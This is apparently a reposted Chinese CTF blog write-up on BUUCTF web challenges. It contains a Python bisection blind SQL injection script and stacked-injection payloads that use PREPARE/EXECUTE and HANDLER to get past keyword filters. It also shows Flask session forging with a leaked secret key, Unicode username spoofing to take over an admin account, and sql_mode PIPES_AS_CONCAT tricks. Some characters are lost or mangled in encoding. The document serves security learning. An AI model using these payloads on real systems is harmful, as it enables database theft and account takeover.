脚本二

#然后是二分法，二分法要快很多：
# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
flag = ‘‘
def payload(i,j):
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)=‘geek‘),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name=‘F1naI1y‘)),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
    data = {"id":sql}
    r = requests.get(url,params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,‘:‘)
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print(‘flag=‘,flag)

2019强网杯.随便注

标题都放在这里了随便注： 随便试探一下发现是单引号包含的：1‘ or 1=1 #

array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}

看到了这个表单中所有信息，这个时候我先要看这个表，采用堆叠注入：但是要注意堆叠注入并不是在每种情况下都能使用的。大多数时候，因为API或数据库引擎的不支持，堆叠注入都无法实现。 1‘ ;show tables ;#

array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

看到有两个表，第一个是这个很长的数字，第二个是words。
尝试select查看这个表，返回提示：return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

查看表的内容：

0‘;desc `1919810931114514`;#

同时我们也可以使用show命令：

1‘;show columns from `1919810931114514`;#

无论前者还是后者：要注意在这个数字型的数据库前必须要加上反引号才能生效，因为在windows系统下，反单引号（`）是数据库、表、索引、列和别名用的引用符，mysql逐句酷可能不认为这是一个表，但是家伙少年宫反引号就不一样了。

array(6) {
  [0]=>
  string(4) "flag"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}  

这时有两种方法能够帮助我们查到flag。

利用预处理语句+堆叠注入

PREPARE name from ‘[my sql sequece]‘;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name;  //删除预定义SQL        语句

通过变量传递
SET @tn = ‘hahaha‘;  //存储表名
SET @sql = concat(‘select * from ‘, @tn);  //存储SQL语句
PREPARE name from @sql;   //预定义SQL语句
EXECUTE name;  //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla;  //删除预定义SQL语句

payload1：1‘;PREPARE hacker from concat(char(115,101,108,101,99,116), ‘ * from1919810931114514‘);EXECUTE hacker;#
利用率char函数将ascii码转换为字母，然后利用concat函数将他们拼接在一起，这样就绕过了过滤。
payload2：1‘;SET @sqli=concat(char(115,101,108,101,99,116),‘* from1919810931114514‘);PREPARE hacker from @sqli;EXECUTE hacker;#
payload3:1‘;SET @a=concat("s","elect * from1919810931114514");PREPARE test from @a;EXECUTE test;#)
payload4:‘;handler1919810931114514open;handler1919810931114514read first#
关于函数handler的用法：
https://blog.csdn.net/JesseYoung/article/details/40785137

1‘;PREPARE xxx from concat(char(115,101,108,101,99,116),‘ * from1919810931114514 ‘);EXECUTE xxx;

注册账号登录，打开f12我们能够看到github的提示，我们把源码下载下来进行分析。

查看初始化模块

from flask import Flask
from config import Config
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager

app = Flask(__name__)
app.config.from_object(Config)
db = SQLAlchemy(app)
migrate = Migrate(app, db)
login = LoginManager(app)

from app import routes, models  

查看routes文件

修改password模块

@app.route(‘/change‘, methods = [‘GET‘, ‘POST‘])
def change():
    if not current_user.is_authenticated:
        return redirect(url_for(‘login‘))
    form = NewpasswordForm()
    if request.method == ‘POST‘:
        name = strlower(session[‘name‘])
        user = User.query.filter_by(username=name).first()
        user.set_password(form.newpassword.data)
        db.session.commit()
        flash(‘change successful‘)
        return redirect(url_for(‘index‘))
    return render_template(‘change.html‘, title = ‘change‘, form = form)

register登记注册模块

@app.route(‘/register‘, methods = [‘GET‘, ‘POST‘])
def register():

if current_user.is_authenticated:
    return redirect(url_for(‘index‘))

form = RegisterForm()
if request.method == ‘POST‘:
    name = strlower(form.username.data)
    if session.get(‘image‘).lower() != form.verify_code.data.lower():
        flash(‘Wrong verify code.‘)
        return render_template(‘register.html‘, title = ‘register‘, form=form)
    if User.query.filter_by(username = name).first():
        flash(‘The username has been registered‘)
        return redirect(url_for(‘register‘))
    user = User(username=name)
    user.set_password(form.password.data)
    db.session.add(user)
    db.session.commit()
    flash(‘register successful‘)
    return redirect(url_for(‘login‘))
return render_template(‘register.html‘, title = ‘register‘, form = form)

查看渲染的index页面

{% include(‘header.html‘) %}
{% if current_user.is_authenticated %}
Hello {{ session[‘name‘] }}
{% endif %}
{% if current_user.is_authenticated and session[‘name‘] == ‘admin‘ %}
hctf{xxxxxxxxx}
{% endif %}

Welcome to hctf

{% include(‘footer.html‘) %}  

发现判断逻辑： {% if current_user.is_authenticated and session[‘name‘] == ‘admin‘ %} 证明要使用admin账号才能登陆。

config.py

import os

class Config(object):
    SECRET_KEY = os.environ.get(‘SECRET_KEY‘) or ‘ckj123‘
    SQLALCHEMY_DATABASE_URI = ‘mysql+pymysql://root:[email protected]:3306/test‘
    SQLALCHEMY_TRACK_MODIFICATIONS = True  

Config类在config模块中定义：

在Config的类，含有类属性SECRET_KEY，这里也有两个同名的不同对象，左面SECRET_KEY是调用os.environ.get返回的对象，作为Config类的类变量，中间SECRET_KEY是调用os.environ.get时，代入以字符串的形式表示的参数。
os.environ是一个存取环境变量的类，环境变量的值用get方法获取，本例是获取名称为‘SECRET_KEY‘环境变量的值
os.environ，也可以看作字典变量，例如当环境变量‘SECRET_KEY‘存在时，可以使用os.environ[‘SECRET_KEY‘]

flask的session是存储在客户端cookie中的，而且flask仅仅对数据进行了签名。众所周知的是，签名的作用是防篡改，而无法防止被读取。而flask并没有提供加密操作，所以其session的全部内容都是可以在客户端读取的，这就可能造成一些安全问题。
利用脚本我们将session解密，之后修改用户名为admin，然后再加密，burp截包替换session即可。

{‘_fresh‘: True, ‘_id‘: b‘121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4‘, ‘csrf_token‘: b‘d2495789467d55d9e38c2ffd63e9c578ee1b267a‘, ‘image‘: b‘BUXE‘, ‘name‘: ‘admin‘, ‘user_id‘: ‘10‘}

unicode欺骗

无论是在register，changepassword模块他们都加了strlower（）进行小写转换，右键转到函数的实现。

def strlower(username):
    username = nodeprep.prepare(username)
    return username

使用到nodeprep.prepare函数，该函数专函大小写字符如下：
????? -> ADMIN -> admin
我们注册?DMIN用户，在registr中这个函数没被使用不被转义，在login进行第一次的编码转换，在changepassword又进行第二次，此时我们用户名就由?DMIN变为了admin，修改了admin的password。
转换形式如下：
????? -> ADMIN -> admin

条件竞争

这个在刚入学时候极客大挑战已经碰见过了，我们利用burpsuit的intruder模块就能利用，要设置两个线程同时进行，一个是不行的。

我被虐到了，呜呜呜

当 sql_mode 设置了  PIPES_AS_CONCAT 时，|| 就是字符串连接符，相当于CONCAT() 函数

当 sql_mode 没有设置  PIPES_AS_CONCAT 时 （默认没有设置），|| 就是逻辑或，相当于OR函数  

听说有大佬就三个字母就解决了，我枯了，payload：*,1,听说是直接猜出了源码select $_GET[‘query‘] || flag from flag
这种方式拼接出来那就是select *,1||flag from Flag
听说是因为1和任意字符串或数字使用 ||连接 的值都为1

当然还有一种解法，那是官方的解法： 1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接完之后就是select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
|| 相当于是将 select 1 和 select flag from flag 的结果拼在一起

sql_mode : 它定义了 MySQL 应支持的 SQL 语法，以及应该在数据上执行何种确认检查，其中的PIPES_AS_CONCAT将 ||视为字符串的连接操作符而非 “或” 运算符  

参考文章：https://blog.csdn.net/qq45552960/article/details/104185620?utmmedium=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase&depth1-utmsource=distribute.pcrelevant.none-task-blog-BlogCommendFromMachineLearnPai2-3.nonecase

关于MYSQL的sql_mode解析与设置

ONLY_ FULL_ GROUP_B：如果在SELECT中的列，没有在GROUP BY中出现，那么将 认为这个SQL是不合法的，因为列不在GROUP BY从句中，因为这个设置的存在，我们对于group by的用法只能是类似于select * from users group by id ;并且只能展示group by的字段，要是带有其他字段便会报错。
对这种状态进行修改：

set sql_mode=(select replace  (@@sql_mode,‘ONLY_FULL_GROUP_BY‘,‘‘)); 可以使用该语句来将空格替换掉only_full_group_by

STRICTTRANSTABLES：在该模式下，如果一个值不能插入到一个事务表中，则中断当前的操作，对非事务表不做任何限制。

NOZERODATE：在严格模式，不要将 ‘0000-00-00‘做为合法日期。你仍然可以用IGNORE选项插入零日期。在非严格模式，可以接受该日期，但会生成警告。

ERRORFORDIVISIONBYZERO：在严格模式，在INSERT或UPDATE过程中，如果被零除(或MOD(X，0))，则产生错误(否则为警告)。如果未给出该模式，被零除时MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中，MySQL生成被零除警告，但操作结果为NULL。

NOAUTOCREATE_USER：防止GRANT自动创建新用户，除非还指定了密码。

ANSIQUOTES：启用ANSIQUOTES后，不能用双引号来引用字符串，因为它被解释为识别符。

PIPESASCONCAT：将"||"视为字符串的连接操作符而非或运算符，这和Oracle数据库是一样是，也和字符串的拼接函数Concat想类似。

太晚了，不搞了qaq，感觉学海无涯啊。

BUUCTF[归纳]sql注入相关题目

原文：https://www.cnblogs.com/ophxc/p/13160638.html